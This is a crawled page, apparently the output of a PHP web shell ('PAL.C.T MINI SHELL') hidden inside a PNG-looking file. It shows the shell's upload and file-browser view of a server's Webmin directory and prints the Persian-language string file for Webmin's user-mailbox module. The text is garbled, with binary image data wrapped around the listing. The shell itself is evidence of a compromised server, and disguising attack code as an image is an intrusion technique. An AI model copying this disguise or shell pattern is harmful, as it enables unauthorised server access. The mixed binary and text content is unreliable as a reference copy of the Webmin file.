php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/mailboxes/lang/
upload
files >> //usr/libexec/webmin/mailboxes/lang/fa.auto

index_title=ایمیل کاربر را بخوانید
index_none=شما مجاز به خواندن ایمیل برای هیچ کاربر در این سیستم نیستید.
index_header=صندوق های پستی کاربر
index_empty=نامه ای نیست
index_return=فهرست کاربران
index_esystem=None of the supported mail servers (Exim, Qmail, Postfix and Sendmail) were detected on your system. You will need to adjust the <a href='$1'>module configuration</a> to set the mail server and possibly mail paths manually.
index_esystem2=The mail server set in the <a href='$1'>module configuration</a> was not found on your system. You will need to adjust the configuration to use the correct server.
index_esystem3=An error occurred contacting the mail system set in the <a href='$1'>module configuration</a> : $2.
index_system6=سرور پست الکترونیکی: Exim
index_system5=سرور پست الکترونیکی: Qmail+VPopMail
index_system4=سرور پست الکترونیکی: Qmail+LDAP
index_system2=سرور پست الکترونیکی: Qmail
index_system1=سرور پست الکترونیکی: Sendmail
index_system0=سرور پست الکترونیکی: Postfix
index_toomany=کاربران زیادی در سیستم شما برای نمایش در یک صفحه وجود دارند.
index_find=کاربرانی را پیدا کنید که در آن نام کاربری دارند
index_equals=برابر است
index_contains=حاوی
index_eperl=The Perl module $1 needed for the selected SMTP authentication mode is not installed or is missing a dependent module. <a href='$2'>Click here</a> to install it now.
index_file=نامه را در پرونده یا Maildir بخوانید:
index_nousers=هیچ کاربر یافت نشد!
index_nousersmail=هیچ کاربر با ایمیل یافت نشد.

mail_title=ایمیل کاربر
mail_from=از جانب
mail_date=تاریخ
mail_subject=موضوع
mail_to=به
mail_cc=سی سی
mail_bcc=بی سی سی
mail_pri=اولویت
mail_highest=مرتفع ترین
mail_high=بالا
mail_normal=معمولی
mail_low=کم
mail_lowest=پایین ترین
mail_for=In $1
mail_for2=For user $1
mail_sent=در لیست نامه ارسال شده
mail_size=اندازه
mail_level=نمره
mail_delete=حذف
mail_compose=ساختن
mail_open=باز کن
mail_return=صندوق پستی کاربر
mail_pos=Messages $1 to $2 of $3 in $4
mail_none=This user has no messages in $1
mail_ecannot=شما مجاز به خواندن ایمیل این کاربر نیستید
mail_all=انتخاب همه.
mail_invert=انتخاب معکوس.
mail_nosort=تنظیم مجدد مرتب سازی
mail_search=پیام ها را در کجا پیدا کنید
mail_body=بدن
mail_match=مسابقات
mail_ok=جستجو کردن
mail_nonefrom=هیچ یک
mail_mark=علامت گذاری به عنوان:
mail_mark0=خوانده نشده
mail_mark1=خواندن
mail_mark2=ویژه
mail_forward=رو به جلو
mail_move=انتقال به:
mail_copy=کپی کردن در:
mail_rfc=از خط
mail_eexists=پیام دیگر وجود ندارد!
mail_fchange=تغییر دادن
mail_indexlink=بازگشت به صندوق پستی
mail_deleteall=حذف همه
mail_black=ارسال کنندگان را انکار کنید
mail_white=مجاز به فرستندگان
mail_whitemove=مجاز به فرستنده و صندوق ورودی
mail_efile=پرونده نامه وجود ندارد
mail_fromsrch=با همان فرستنده ایمیل پیدا کنید
mail_subsrch=ایمیل را با همین موضوع پیدا کنید
mail_tosrch=یافتن ایمیل با گیرنده
mail_fromfilter=فیلتر توسط فرستنده ایجاد کنید
mail_tofilter=فیلتر را توسط گیرنده ایجاد کنید
mail_subfilter=فیلتر را با موضوع ایجاد کنید
mail_unknown=ناشناخته

mail_sign=با کلید وارد شوید
mail_nosign=&lt;امضا نشود&gt;
mail_crypt=رمزگذاری برای
mail_nocrypt=&lt;رمزگذاری نشود&gt;
mail_samecrypt=&lt;کلیدهای آدرسهای مقصد&gt;
mail_addresses=کتاب آدرس را مدیریت کنید
mail_folders=پوشه ها را مدیریت کنید
mail_err=An error occurred listing mail in this folder : $1
mail_loginheader=ورود به سرور POP3
mail_loginheader2=ورود به سرور IMAP
mail_logindesc=You must enter a username and password to access mail<br>in your inbox on the mail server $1.
mail_loginuser=نام کاربری
mail_loginpass=کلمه عبور
mail_loginmailbox=صندوق پستی IMAP
mail_login=وارد شدن
mail_reset=پاک کردن
mail_logout=ورود POP3 را تغییر دهید
mail_logout2=ورود به سیستم IMAP را تغییر دهید
mail_sig=امضا را ویرایش کنید
mail_jump=پرش به صفحه :
mail_of=از
mail_replyto=پاسخ دادن به
mail_folder=پوشه
mail_delall=حذف همه
mail_deltrash=سطل آشغال
mail_search2=جستجو برای:
mail_search3=با نمره بالا پیدا کنید:
mail_advanced=جستجوی پیشرفته
mail_return2=ایمیل کاربر
mail_esystem=An error occurred contacting the mail system : $1. This must be fixied by the system administrator.
mail_selread=خواندن را انتخاب کنید.
mail_selunread=خوانده نشده را انتخاب کنید.
mail_selspecial=ویژه را انتخاب کنید.
mail_specialsync=همگام سازی ویژه

view_title=ایمیل را بخوانید
view_desc=Message $1 in $2
view_desc2=Message $1 for user $2
view_desc3=Message $1
view_sent=Message $1 in sent mail list
view_qdesc=Queued message $1
view_headers=هدرهای ایمیل
view_body=محتوای پیام
view_nobody=این پیام محتوای بدن ندارد.
view_allheaders=مشاهده همه هدرها
view_noheaders=عناوین اصلی را مشاهده کنید
view_attach=پیوست ها
view_afile=نام پیوست
view_atype=نوع پیوست
view_aactions=اقدامات
view_aview=چشم انداز
view_aopen=باز کن
view_asave=صرفه جویی
view_aplain=خام
view_anofile=نام پرونده وجود ندارد
view_asize=حجم فایل
view_reply=پاسخ
view_reply2=پاسخ به همه
view_enew=ویرایش به عنوان جدید
view_forward=رو به جلو
view_delete=حذف
view_print=چاپ
view_strip=پیوست ها را حذف کنید
view_ecannot=شما مجاز به خواندن ایمیل این کاربر نیستید
view_mark=علامت گذاری به عنوان:
view_mark0=خوانده نشده
view_mark1=خواندن
view_mark2=ویژه
view_markas0=خوانده نشده
view_markas1=خواندن
view_markas2=ویژه
view_return=ایمیل اصلی
view_sub=ایمیل پیوست شده
view_sub2=Attached email from $1
view_egone=این پیام دیگر وجود ندارد
view_eugone=این کاربر وجود ندارد

view_gnupg=تأیید امضای GnuPG
view_gnupg_0=Signature by $1 is valid.
view_gnupg_1=Signature by $1 is valid, but trust chain could not be established.
view_gnupg_2=Signature by $1 is <b>NOT</b> valid.
view_gnupg_3=Key ID $1 is not in your list, so signature could not be verified.
view_gnupg_4=Failed to verify signature : $1
view_crypt=رمزگشایی نامه GnuPG
view_crypt_1=پیام رمزگذاری شده است ، اما پشتیبانی GnuPG نصب نشده است.
view_crypt_2=Failed to decrypt message : $1
view_crypt_3=نامه با موفقیت رمزگشایی شد
view_crypt_4=بخش رمزگذاری شده پیام با موفقیت رمزگشایی شد.
view_recv=<a href='$2'>Fetch key ID $1 from keyserver</a>.
view_folder=بازگشت به صندوق پستی
view_dheader=جدا کردن پیوست به سرور
view_detach=جدا کردن پرونده:
view_dall=&lt;همه پرونده ها&gt;
view_dir=به پرونده یا فهرست سرور:
view_black=ارسال کننده را انکار کنید
view_white=مجاز به فرستنده
view_whitemove=مجاز به فرستنده و صندوق ورودی
view_razor=گزارش اسپم
view_ham=گزارش ژامبون
view_hammove=گزارش ژامبون و صندوق ورودی
view_razordel=حذف هرزنامه
view_dstatus=وضعیت تحویل انجام نشد
view_dstatusok=وضعیت تحویل موفق
view_final-recipient=گیرنده نهایی
view_diagnostic-code=دلیل عدم موفقیت
view_remote-mta=سرور پست الکترونیکی از راه دور
view_reporting-mta=گزارش دهنده سرور نامه
view_astext=به عنوان متن مشاهده کنید
view_ashtml=به عنوان HTML مشاهده کنید
view_images=نمایش تصاویر
view_raw=مشاهده پیام خام
view_aall=همه پیوست ها را به عنوان ZIP ذخیره کنید.
view_aslideshow=نمایش همه تصاویر

compose_title=نوشتن ایمیل

reply_title=پاسخ به ایمیل
forward_title=ارسال ایمیل
enew_title=ویرایش ایمیل
reply_headers=هدرهای ایمیل
reply_attach=پیوست های ارسال شده
reply_mailforward=پیام های ارسال شده
reply_attach2=پیوست های مشتری و سرور
reply_attach3=پیوستهای آپلود شده
reply_send=ارسال ایمیل
reply_ecannot=شما مجاز به ارسال نامه به عنوان این کاربر نیستید
reply_body=متن پیام
reply_errc=کپی کردن نامه انجام نشد
reply_errm=انتقال نامه انجام نشد
reply_return=نوشتن نامه
reply_efwdnone=هیچ یک از پیامهای ارسال شده وجود ندارد
reply_dsn=درخواست اعلان وضعیت خوانده شده؟
reply_del=درخواست اعلان وضعیت تحویل؟
reply_aboot=گیرندگان را به دفترچه آدرس اضافه کنید؟
reply_tabfrom=از جانب
reply_tabto=به
reply_tabreplyto=پاسخ دادن به
reply_tabcc=سی سی
reply_tabbcc=بی سی سی
reply_tabsigning=امضا کردن
reply_taboptions=گزینه ها
reply_addattach=قسمت دلبستگی را اضافه کنید.
reply_addssattach=قسمت دلبستگی سمت سرور را اضافه کنید.
reply_html0=نوشتن متن
reply_html1=نوشتن HTML

reply_spell=خطاهای املایی را بررسی کنید؟
reply_draft=ذخیره به عنوان پیش نویس
reply_save=ذخیره و ویرایش کنید

send_err=ارسال نامه انجام نشد
send_eto=برای آدرس دهی وجود ندارد
send_efrom=آدرس موجود نیست
send_esubject=موضوع ایمیل وجود ندارد
send_title=پیام فرستاده شد
send_title2=نامه ذخیره شد
send_ok=Mail sent successfully to $1
send_sending=Sending mail to $1 ..
send_ecannot=شما مجاز به ارسال نامه به عنوان این کاربر نیستید
send_esmtp=SMTP command $1 failed : $2
send_eattach=Attachments cannot total more that $1 kB in size.
send_eperms=User $1 cannot read $2
send_eperms2=You are not allowed to send file $1
send_epath=Sendmail executable $1 does not exist.
send_efile=Failed to read attachment $1 : $2
send_done=.. انجام شده.

send_epass=شما نمی توانید پیامی را امضا کنید زیرا عبارت عبور شما هنوز در ماژول GnuPG تنظیم نشده است.
send_esign=Failed to sign message : $1
send_ekey=Couldn't find key for email address $1
send_ecrypt=Failed to encrypt message : $1
send_eword=Misspelt word $1
send_eword2=Misspelt word $1 - possible corrections $2
send_eline=In line $1 :
send_espell=خطاهای املایی زیر در پیام شما یافت شد ..
send_draft=Mail to $1 saved in drafts folder.
send_drafting=Saving mail to $1 in drafts folder ..
send_eattachsize=The mail attachment exceeded the maximum allowed size of $1 bytes

delete_title=ایمیل را حذف کنید
delete_rusure=Are you sure you want to delete the $1 selected messages from $2? This may take some time for a large mail file. Until the deletion has finished, no other action should be performed.
delete_rusure2=Are you sure you want to delete this message from $1? This may take some time for a large mail file. Until the deletion has finished, no other action should be performed.
delete_ok=اکنون حذف کنید
delete_ecannot=اکنون مجاز به حذف نامه های این کاربر هستید
delete_enone=هیچ پستی برای حذف انتخاب نشده است
delete_emnone=هیچ نامه ای برای علامت گذاری انتخاب نشده است
delete_efnone=هیچ پستی برای ارسال انتخاب نشده است
delete_ebnone=هیچ پستی برای رد کردن انتخاب نشده است
delete_ewnone=هیچ نامه ای برای اجازه انتخاب نشده است
delete_ernone=هیچ پستی برای گزارش به عنوان هرزنامه انتخاب نشده است
delete_ehnone=هیچ پستی برای گزارش به عنوان ژامبون انتخاب نشده است
delete_emoveuser=کاربر برای انتقال نامه به وجود ندارد
delete_ecopyuser=کاربر برای کپی کردن نامه وجود ندارد
delete_emovecannot=شما مجاز نیستید نامه را به کاربر مشخص منتقل کنید
delete_ecopycannot=شما مجاز به کپی کردن نامه ها به کاربر مشخص شده نیست
delete_emovenone=هیچ پستی برای انتقال انتخاب نشده است
delete_ecopynone=هیچ نامه ای برای کپی انتخاب نشده است
delete_nobutton=روی دکمه ای کلیک نشد
delete_ereport=Failed to report as spam : $1
delete_errc=کپی کردن نامه انجام نشد
delete_errm=انتقال نامه انجام نشد

confirm_title=تایید حذف
confirm_warn=Are you sure you want to delete the $1 selected messages from this folder?
confirm_warnf=Are you sure you want to delete the $1 selected messages from the folder <b>$2</b>?
confirm_warn2=به دلیل اندازه و قالب صندوق پستی شما ، این ممکن است مدتی طول بکشد. تا زمانی که حذف حذف نشده است ، دیگر اقدامات دیگری نباید انجام شود.
confirm_warn3=آیا از حذف این پیام مطمئن هستید؟
confirm_warn4=تا زمانی که حذف حذف نشده است ، دیگر اقدامات دیگری نباید انجام شود.
confirm_ok=اکنون حذف کنید
confirm_warnall=آیا مطمئن هستید که می خواهید تمام پیام های این پوشه را حذف کنید؟
confirm_warnallf=Are you sure you want to delete all of the messages in the folder <b>$1</b>?

search_title=نتایج جستجو
search_ecannot=شما مجاز به جستجوی ایمیل این کاربر نیستید
search_ematch=شما باید متن را وارد کنید تا با آن مطابقت داشته باشید.
search_escore=امتیاز هرزنامه نامعتبر یا نامعتبر است
search_efield=شما باید یک نوع جستجو را انتخاب کنید.
search_ewhat=No text to match against entered for row $1
search_enone=هیچ معیار جستجو وارد نشده است
search_none=پیامی یافت نشد
search_results2=$1 mail messages matching $2
search_results3=$1 mail messages not matching $2
search_results4=$1 mail messages matching your search
search_results5=$1 mail messages where $2 matches $3
search_msg2=Search results for $1
search_msg4=نتایج جستجو
search_msg5=Search results for spam with score $1
search_msg6=Search results for $1 in $2 field
search_local=در پوشه های محلی
search_all=در همه پوشه ها
search_limit=(from last $1 messages)
search_status=با وضعیت
search_attach=باید پیوست داشته باشید؟
search_allstatus=هر
search_onestatus=فقط وضعیت
search_latest=پیام های جستجو
search_nolatest=همه در پوشه
search_latestnum=فقط آخرین
search_elatest=تعداد پیام های نامعتبر یا نامعتبر است
search_withstatus=, with status $1

folder_inbox=صندوق ورودی
folder_sent=نامه ارسال شده
folder_drafts=پیش نویس
folder_trash=زباله ها

detach_err=جدا کردن پرونده انجام نشد
detach_edir=هیچ پرونده یا دایرکتوری برای ذخیره کردن برای وارد کردن وجود ندارد
detach_eopen=Failed to open $1 : $2
detach_ewrite=Failed to write to $1 : $2
detach_title=جدا کردن پرونده
detach_ok=Wrote attachment to server-side file $1 ($2).

sform_title=جستجوی پیشرفته
sform_header=گزینه های جستجوی پیشرفته ایمیل
sform_andmode=معیارهای معیار
sform_and=پیامهایی را پیدا کنید که مطابق با همه معیارهای زیر باشد ..
sform_or=یافتن پیام با هر معیار زیر مطابقت دارد ..
sform_neg0=حاوی
sform_neg1=شامل نمی شود
sform_ok=اکنون جستجو کن
sform_folder2=جستجو در پوشه (ها)
sform_all=&lt;همه پوشه ها&gt;
sform_local=&lt;پوشه های محلی&gt;
sform_where=جایی که
sform_text=متن
sform_from=از: هدر
sform_subject=موضوع: سربرگ
sform_to=به: هدر
sform_cc=سی سی: هدر
sform_bcc=Bcc: سربرگ
sform_date=تاریخ: هدر
sform_body=بدنه ی پیام
sform_headers=هر هدر
sform_allmsg=کل پیام
sform_size=اندازه پیام
sform_return=فرم جستجوی پیشرفته

find_enone=هیچ کاربر مطابق با جستجوی شما یافت نشد
find_title=نتایج جستجو
find_results=Users matching search for $1 ..
find_user=نام کاربری
find_real=اسم واقعی
find_group=گروه
find_home=دایرکتوری خانگی
find_size=اندازه نامه
find_incount=ایمیل
find_sentcount=ارسال شد
find_fcount=پوشه ها
find_in=$1 in $2

acl_none=هیچ یک
acl_same=کاربر با همین نام
acl_all=همه
acl_read=کاربرانی که نامه آنها قابل خواندن است
acl_users=فقط کاربران
acl_userse=همه به جز کاربران
acl_usersg=اعضای گروه ها
acl_from=مجاز از آدرس
acl_any=هر آدرس
acl_fdoms=دامنه های صندوق پستی @
acl_faddrs=آدرس های ذکر شده
acl_fdom=هر دامنه آدرس
acl_fromname=نام واقعی برای آدرس
acl_apath=پرونده ها و برنامه ها را برای فهرست بندی محدود کنید
acl_attach=حداکثر اندازه کل پیوستها
acl_unlimited=نامحدود
acl_sent=نامه ارسال شده را در صندوق پستی ذخیره کنید
acl_canattach=آیا می توانید فایلهای سمت سرور را پیوست کنید؟
acl_candetach=آیا می توانید پرونده ها را به سرور جدا کنید؟
acl_usersm=کاربران مطابقت دارند
acl_asame=همان نام کاربری
acl_usersu=با UID در محدوده
acl_sec=شامل گروه های ثانویه می شوید؟
acl_dir=می توانید پرونده های نامه را در دایرکتوری بخوانید
acl_dirauto=به طور خودکار تصمیم بگیرید (در هر مکانی اگر همه کاربران قابل مشاهده باشند ، در هیچ جای دیگر)

log_delmail=Deleted $1 messages from $2
log_movemail=Moved $1 messages from $2 to $3
log_copymail=Copied $1 messages from $2 to $3
log_send=Sent mail to $1
log_read=Read mail for $1

emodified=This folder has been modified since it was last viewed! Return to the <a href='$1'>mail list</a> and try again.

razor_title=گزارش به عنوان هرزنامه
razor_title2=گزارش به عنوان ژامبون
razor_report=گزارش این پیام به Razor و سایر پایگاههای داده مسدود کننده هرزنامه SpamAssassin ..
razor_report2=گزارش پیامهای منتخب به Razor و سایر پایگاههای داده مسدود کننده هرزنامه SpamAssassin ..
razor_report3=پیامهای منتخب را به Razor و سایر پایگاههای داده مسدود کننده هرزنامه SpamAssassin گزارش نکنید.
razor_done=.. انجام شده
razor_err=.. ناموفق! دلیل خطا در بالا را ببینید.
razor_moved=.. done, and moved to folder $1.
razor_deleted=.. انجام شد و پیام را نیز حذف کرد.

ham_title=گزارش به عنوان ژامبون
ham_report=گزارش این پیام به عنوان غیر اسپم به Razor و سایر بانکهای اطلاعاتی SpamAssassin ..

black_title=انکار کننده ارسال کننده
black_done=Added the email address $1 to SpamAssassin's denied addresses list.
black_already=The email address $1 is already on SpamAssassin's denied addresses list.

white_title=مجاز به فرستنده
white_done=Added the email address $1 to SpamAssassin's allowed addresses list.
white_already=The email address $1 is already on SpamAssassin's allowed addresses list.

ldap_emod=Missing Perl module $1 needed for connecting to LDAP
ldap_econn=Failed to connect to LDAP server $1 port $2
ldap_elogin=Failed to bind to LDAP server $1 as $2 : $3
ldap_ehost=هیچ سرور LDAP در پیکربندی ماژول تنظیم نشده است
ldap_eport=هیچ پورت معتبر LDAP در تنظیمات ماژول تنظیم نشده است
ldap_euser=هیچ ورودی LDAP در پیکربندی ماژول تنظیم نشده است
ldap_ebase=هیچ پایه DN پایه LDAP در پیکربندی ماژول تنظیم نشده است

delall_title=حذف همه نامه ها
delall_rusure=Are you sure you want to delete all email from $1? $2 messages totaling $3 will be deleted forever.
delall_ok=اکنون حذف کنید

slide_title=تصاویر پیوست شده
slide_prev=قبلی
slide_next=بعد

left_mail=نامه
left_search=جستجو کردن:
left_folders=پوشه ها را مدیریت کنید
left_addresses=دفترچه آدرس
left_prefs=تنظیمات برگزیده ایمیل
left_forward=ارسال ایمیل
left_autoreply=پاسخ خودکار
left_filter=فیلترهای ایمیل
left_pass=تغییر رمز عبور
left_sig=امضا را ویرایش کنید
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`